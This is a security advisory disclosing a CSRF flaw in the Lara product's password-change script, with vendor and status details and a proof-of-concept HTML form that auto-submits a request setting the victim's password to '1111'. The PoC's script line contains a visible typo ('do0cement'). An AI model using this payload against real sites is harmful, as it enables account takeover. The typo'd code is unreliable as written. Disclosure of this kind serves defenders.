Lara Cross Site Request Forgery

`Vulnerability ID: HTB22619  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_lara.html  
Product: Lara  
Vendor: Geographical Media ( http://getlara.com/ )   
Vulnerable Version: Current at 18.09.2010 and Probably Prior Versions  
Vendor Notification: 27 September 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the /_ui/changepassword script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form method="POST" name="m" action="http://host//_ui/changepassword?method=UpdatePassword&type=get">  
<input type="hidden" name="MediaId" value="4f90f994-3fd0-4a02-818d-05ce325d0fb1"> <!-- this is statick value -->  
<input type="hidden" name="Password" value="1111">  
</form>  
<script>  
do0cement.m.submit();  
</script>  
  
  
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